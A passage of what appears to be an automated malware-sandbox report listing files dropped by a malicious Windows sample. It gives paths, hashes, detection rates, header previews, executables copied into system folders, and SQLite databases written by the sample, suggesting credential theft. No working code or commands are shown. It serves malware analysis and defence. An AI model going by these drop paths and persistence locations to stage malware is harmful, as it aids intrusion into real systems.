SHA-512:	47B8041FADBAFCDF09DB8D47FB96A3393C26BC7B954FDEE966E08B2B144E8F25B7ED4D43554624D5823AFDEA2A3D8A466663D0BC798F305895A3A485AAFFDFA9
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .......4K.a....................................D...v(..........T.......8...........T...........................x...........d....................................................................U...........B..............GenuineIntelW...........T...........*K.a.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB951.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8384
Entropy (8bit):	3.6970980611016655
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiy5i6/N6YrOSUnXkgmf9S14+pDU89b95sfPfm:RrlsNiai6l6YSSUUgmf9S1d9Sf2
MD5:	9DB740ED0858643E4ABF74FEA2CB889E
SHA1:	0694851A8E0458C126261F07DB32F72308C1FDCB
SHA-256:	673F98B92BE9CDB934568D68A071805BDC093AE595058100EFA4EDA52FB7B3B6
SHA-512:	555F02B3B1FC497743C27CDD29672667FBADCE6844A5BFADA1C658FD4491F878AE37BC105C279BDEACC809B16D69B31AE1525BD89FEFFDA5919BF9944E6BE54E
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.5.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD3A.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4677
Entropy (8bit):	4.457430228838973
Encrypted:	false
SSDEEP:	48:cvIwSD8zsYJgtWI9PjbXWSC8BH8fm8M4J087FqL+q8vT8hAAdMd:uITfeoaSNGJWK/AdMd
MD5:	5549E4AF01D746B8CC955815ED3964EE
SHA1:	1DD3406C6A772A79EE8D71FC78325A4FD0C0E584
SHA-256:	ADC8B724EFB2A564B6060F0C96F06DD405CAA0D7152F4E79054318746C5622B4
SHA-512:	596150D7A859DEAE6EC0E2282640F8C92A5F2807CD2AFAA69083C06D94BB24BC5EE0D83C0575CC2C78B5B63C1B9770E3EEE2D2E5E754BB4B69B546E426A0E279
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1330874" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\DDEE.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2203.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\2203.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\DDEE.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Temp\00HDTJ58 Download File
Process:	C:\Users\user\AppData\Local\Temp\DDEE.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\11C5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.681533828426999
Encrypted:	false
SSDEEP:	6144:1+McCBxEqEOv6GmHf+p0iojFp4kU01QndeQ1OLcxynB:1LBSqEOv6Gvp0ioUkU01QgQ10cs
MD5:	16F6F63636134A3CE21B0455FAA49719
SHA1:	AA4688FDBD32BFEEB7A30914C6564F313FA77C7A
SHA-256:	AAB72672BA48A18975CF89718A7C39FCAB81614CAE49EB26457E94054F6B228C
SHA-512:	34BDA0DF7BCBF9F693147883E3CF391A93812AABB92D530601B842771EFB6DC1915FE86DE90D4F51C50DDE83531AF6079D111DC0565010E8C46F1CED3B3A2AA7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................P.......F.....}..........\|.....A.......Q.......T.....Rich............................PE..L...Y1K`..........................................@.................................]...........................................(....0..p.......................h...0...............................x...@............................................text............................... ..`.data.... ..........................@....doso...............................@....feti...K...........................@....jusuc..............................@....yegosa...... ......................@....rsrc...p....0......................@..@.reloc...:.......<...r..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2203.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	538624
Entropy (8bit):	5.844802993920551
Encrypted:	false
SSDEEP:	12288:5crDIteKVQeObXSg+yVyAq9zE78U6vZ6nYiPbijH7x/F/:5+cZVQeODbVeL
MD5:	9D7EB9BE3B7F3A023430123BA099B0B0
SHA1:	18F9C9DEFA3C9C6847E6812A8EA3D1F1712A6DB1
SHA-256:	18D57C2EB16F5A8CE1058155D2912C2C4871640C444F936469ECFEA5E3D820E5
SHA-512:	A781FC4C922C81693D57BD895317467F31DE11A7F74594C6FABDF23C82D8E9934B60FBBDDE501A926F891AEADAADFF2023F341E43FC883016B3F249D6B9D5467
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..0...........N... ...`....@.. ....................................@..................................N..K....`............................................................................... ............... ..H............text........ ...0.................. ..`.rsrc........`.......2..............@....reloc...............6..............@..B.................N......H.......$...(@..........L[..............................................(......0..,.......(c...8.....~....u....s....z&8.........8...................................(c...(.......j................................(......(....8....(.........8....(]...8...........................................0..............0...................................(......0.....................0..............(....=.A~........=.A.....................................*.......

C:\Users\user\AppData\Local\Temp\8633.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	358912
Entropy (8bit):	6.278717191933335
Encrypted:	false
SSDEEP:	6144:7e+RhbrOOFh9v2Y8zBk3L3gXO1RdFggj:7e6aOFhB8zBk3L3b1R
MD5:	1F935BFFF0F8128972BC69625E5B2A6C
SHA1:	18DB55C519BBE14311662A06FAEECC97566E2AFD
SHA-256:	2BFA0884B172C9EAFF7358741C164F571F0565389AB9CF99A8E0B90AE8AD914D
SHA-512:	2C94C1EA43B008CE164D7CD22A2D0FF3B60A623017007A2F361BDFF69ED72E97B0CC0897590BE9CC56333E014CD003786741EB6BB7887590CB2AAD832EA8A32D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 86%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k..S/.../.../...1.Z.=...1.L.W....6..*.../.......1.K.....1.[.....1.^.....Rich/...................PE..L...t..`.................<...J.......4.......P....@.................................A.......................................,9..<....0...Y.......................#..P...............................X...@............................................text...4:.......<.................. ..`.data...`....P.......@..............@....pamicak............................@....dos....K...........................@....modav..............................@....nugirof..... ......................@....rsrc....Y...0...Z..................@..@.reloc...>.......@...:..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9A8F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	569824
Entropy (8bit):	7.747232732643414
Encrypted:	false
SSDEEP:	12288:rZK+5UZ7vGFc1bXPWZDbImHvGj8zESKVV7wLm3wf8pK60RjAJngD:V7Kb1WXWUfKv7wL0wf8QP2ngD
MD5:	92F549D91443E839D4EA0A7E3A853C7C
SHA1:	EB333BF657C1A7D6B045E98732536E1AA1B62269
SHA-256:	B7157958F990BBA7043746BF9D34A4DA7A312C219883016CC9AE931C49FD3D4A
SHA-512:	829079858A08334C983257C365A03C8F7A80CF7208B413325965FC02F5EC31B8E293C347990560EB4F03C5045A94C4E836EB34F67669A6514D2EF940D3AA5423
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L......a.....................f...............@....@..........................`............@.....................................`....................................................................................................................data..................................`.shared.............................@....rsrc...............................@..@.CRT.............}..................@........................................................................................................................................................................................................................................................................................................................+..B:l.B,,+ON....G..Z...".

C:\Users\user\AppData\Local\Temp\BC2D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306176
Entropy (8bit):	6.673059487728374
Encrypted:	false
SSDEEP:	6144:obwyFbhyKuw30tIU0ZqZzqe6hG8hyxsI6:obP6U30tIU001qxhlymJ
MD5:	23DFE6757086DDE5E8463811731F60C6
SHA1:	AE8B0843895DF4E84CAAAA4B97943F0254FDE566
SHA-256:	6C02CD3294F998736222C255DDD163B9D5E72DFBF3492BFDD43519A46ED609DE
SHA-512:	9CF141BDA0DEFE3804F16AB660B72CDAC0C3047554A3718C3929C9D91A8F02FEBE2A11F4FF45BF056FDCF83AA693DB5D28367C1167B84147246A348224240FEA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 49%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................ .......6.....}..........}.....1.......!.......$.....Rich............PE..L.....]_............................0.............@.......................... ..................................................(....@..........................t... ...............................8...@............................................text...^........................... ..`.data.... ..........................@....paf................................@....vos....K...........................@....muyes....... ......................@....yomica......0......................@....rsrc........@......................@..@.reloc...:.......<...p..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BC8F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760832
Entropy (8bit):	7.455489986534232
Encrypted:	false
SSDEEP:	12288:NmnQAJTFOZULSeNYKa+0R7sGtakDxKUXjE9woqT4lYf9icr/PIokJVd074tFEZ1i:NqQcBOZv8YKlksGcgUUTEGBcenr/gJVM
MD5:	C085684DB882063C21F18D251679B0CC
SHA1:	2B5E71123ABDB276913E4438AD89F4ED1616950A
SHA-256:	CDA92BB8E0734752DC6366275020CE48D75F95D78AF9793B40512895ECD2D470
SHA-512:	8158AA6D5A6D2130B711671D3DAC1A335B01D08118FB8AC91DC491ED17EE04CCA8559B634EDD4C03DECBD8278709AD70DB7FB0615DF73F25D42242EA4B2555B7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 23%, Browse Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z8~R>Y..>Y..>Y.. ...,Y.. ...FY....k.;Y..>Y...Y.. ...~Y.. ...?Y.. ...?Y..Rich>Y..........PE..L......`.................l...<.......g............@..........................PH.....e.......................................$j..<....0...Y....................H..#..@...................................@............................................text....j.......l.................. ..`.data...h............p..............@....johac....... ......................@....rsrc.....;..0...Z..................@..@.reloc..tB....H..D...X..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DDEE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	309760
Entropy (8bit):	6.697865116816221
Encrypted:	false
SSDEEP:	6144:XlfMHGLq2am/jgLWcPmiAtrp1ZDk/3TYhGaW65dTvt:Xlt1amLggiAtrp1dO3khY6n
MD5:	6146E19CEFC8795E7C5743176213B2C2
SHA1:	F158BB5C21DB4EF0E6FE94547D6A423B9FCC31B4
SHA-256:	704FA847FBC684CA65F3A0A5481EF2546CC9FDE9DDF35F18CD83C0689D124C06
SHA-512:	DF144F4FC2DEFA5D96A6CABD5FD3C7C41A14A783210BFFFD2916C63045B3CBD4E11931EB167E0F05A7BBEC557BA37DBED83380B20FB01BD85703DDED8CF96277
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................ .......6.....}..........}.....1.......!.......$.....Rich............PE..L......`..........................................@.......................... ..............................................t...(....@.............................. ...............................8...@............................................text............................... ..`.data.... ..........................@....monag..............................@....jopavi.K...........................@....jas......... ......................@....javefa......0......................@....rsrc........@......................@..@.reloc...:.......<...~..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M7Y5PZUK Download File
Process:	C:\Users\user\AppData\Local\Temp\DDEE.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZUKFK6PZ Download File
Process:	C:\Users\user\AppData\Local\Temp\DDEE.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.45897271081743474
Encrypted:	false
SSDEEP:	96:/8WU+bDoYysX0uhnydVjN9DLjGQLBE3u:El+bDo3irhnydVj3XBBE3u
MD5:	48A0503A55113CE8C8D7A1481A465D49
SHA1:	6212FF680FA492983973EEF5341BDD2AC5B28417
SHA-256:	E79639510991FEBA97C39F0388B53420765D307C46C43B0BD0C014FD36EF8092
SHA-512:	96A2FC52E2325A29F4B38A080DA817DA741A38BB8DBFD2A85349608251197D3D715A75639FB587216C5BAF8034A93F33E11DA7E35C70347BF584DAC94EF889CF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\riwtgmp.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\11C5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14376448
Entropy (8bit):	4.061857417371323
Encrypted:	false
SSDEEP:	12288:PLBSqEOv6Gvp0ioUkU01QgQ10csmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmH:DEqE66xU01Q
MD5:	24B9AD8E98386E381BC876F01D002F2E
SHA1:	BDBA7657F693C91D0E8FDF5F9504CC03F7483B77
SHA-256:	978BFE3D8C97F118DE5F3596A142A369C361C2FADEB008983384FD095FB36F75
SHA-512:	BC60F74467CD391689746BB834D568658617A2BD9B127414C0ECB8425F4A58AF140EB22EC472DA2C970F09D15E59A33E88A80D7C3509C9F6D757618019E339C2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................P.......F.....}..........\|.....A.......Q.......T.....Rich............................PE..L...Y1K`..........................................@.................................]...........................................(....0..p.......................h...0...............................x...@............................................text............................... ..`.data.... ..........................@....doso...............................@....feti...K...........................@....jusuc..............................@....yegosa...... ......................@....rsrc...p....0......................@..@.reloc...:...........r..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rffhjft Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306176
Entropy (8bit):	6.673059487728374
Encrypted:	false
SSDEEP:	6144:obwyFbhyKuw30tIU0ZqZzqe6hG8hyxsI6:obP6U30tIU001qxhlymJ
MD5:	23DFE6757086DDE5E8463811731F60C6
SHA1:	AE8B0843895DF4E84CAAAA4B97943F0254FDE566
SHA-256:	6C02CD3294F998736222C255DDD163B9D5E72DFBF3492BFDD43519A46ED609DE
SHA-512:	9CF141BDA0DEFE3804F16AB660B72CDAC0C3047554A3718C3929C9D91A8F02FEBE2A11F4FF45BF056FDCF83AA693DB5D28367C1167B84147246A348224240FEA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................ .......6.....}..........}.....1.......!.......$.....Rich............PE..L.....]_............................0.............@.......................... ..................................................(....@..........................t... ...............................8...@............................................text...^........................... ..`.data.... ..........................@....paf................................@....vos....K...........................@....muyes....... ......................@....yomica......0......................@....rsrc........@......................@..@.reloc...:.......<...p..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\rffhjft:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14376448
Entropy (8bit):	4.061857417371323
Encrypted:	false
SSDEEP:	12288:PLBSqEOv6Gvp0ioUkU01QgQ10csmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmH:DEqE66xU01Q
MD5:	24B9AD8E98386E381BC876F01D002F2E
SHA1:	BDBA7657F693C91D0E8FDF5F9504CC03F7483B77
SHA-256:	978BFE3D8C97F118DE5F3596A142A369C361C2FADEB008983384FD095FB36F75
SHA-512:	BC60F74467CD391689746BB834D568658617A2BD9B127414C0ECB8425F4A58AF140EB22EC472DA2C970F09D15E59A33E88A80D7C3509C9F6D757618019E339C2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................P.......F.....}..........\|.....A.......Q.......T.....Rich............................PE..L...Y1K`..........................................@.................................]...........................................(....0..p.......................h...0...............................x...@............................................text............................... ..`.data.... ..........................@....doso...............................@....feti...K...........................@....jusuc..............................@....yegosa...... ......................@....rsrc...p....0......................@..@.reloc...:...........r..............@..B........................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.237224368534759
Encrypted:	false
SSDEEP:	12288:F5pj4qwmUexpQMmdsg92VB61e3PUd8tAIiTuKwyMFJastgeP:rpj4qwmUex6Mmdgse
MD5:	BF3631EC1ADC7A9F9168E11A592A048E
SHA1:	BBDD899E2655C4C320EFBB0DBABE8E5DD7A46337
SHA-256:	70ADAF6D55B19B69A28DA2D80384B678ECB155A0888BF5EA67CBADC1BF72A4AC
SHA-512:	4D2824C51A6D9B4C0EEB3A7AB145676564CF7BDF3CC30B765C6FCE82CC9A7B652F2C8898D447DC890678C868C8FE1D307F267ECE0A70C512ACAC7AC4EC2E93E0
Malicious:	false
Reputation:	unknown
Preview:	regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmr*..8...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.3428467230786376
Encrypted:	false
SSDEEP:	384:Ub4/g8rD5K51cv4KgnVVeeDzem1NKZtjuT8Ghwgb87d62:7JKSg/eeDzeINYtj7Ghwgud6
MD5:	7A7F49BA9C4DDFCBE2A7BD4088D6AD7B
SHA1:	DDCCDC8BCFCB36ADE038FCF68A7F55DC9E0AA433
SHA-256:	D578F83426CF80FF73C7108C9A38BD84EAF7AAA61FF166CE7001434D31A3D45E
SHA-512:	CB78FEB2481038A4E59B8E5DEF649F730EFB5A24DEFE28EBAF2BF00FBD23564590FAE525111AE16A4CEA29D3D1B5E929D930E7FC577C28AD1DBFE4F3AF7D61AB
Malicious:	false
Reputation:	unknown
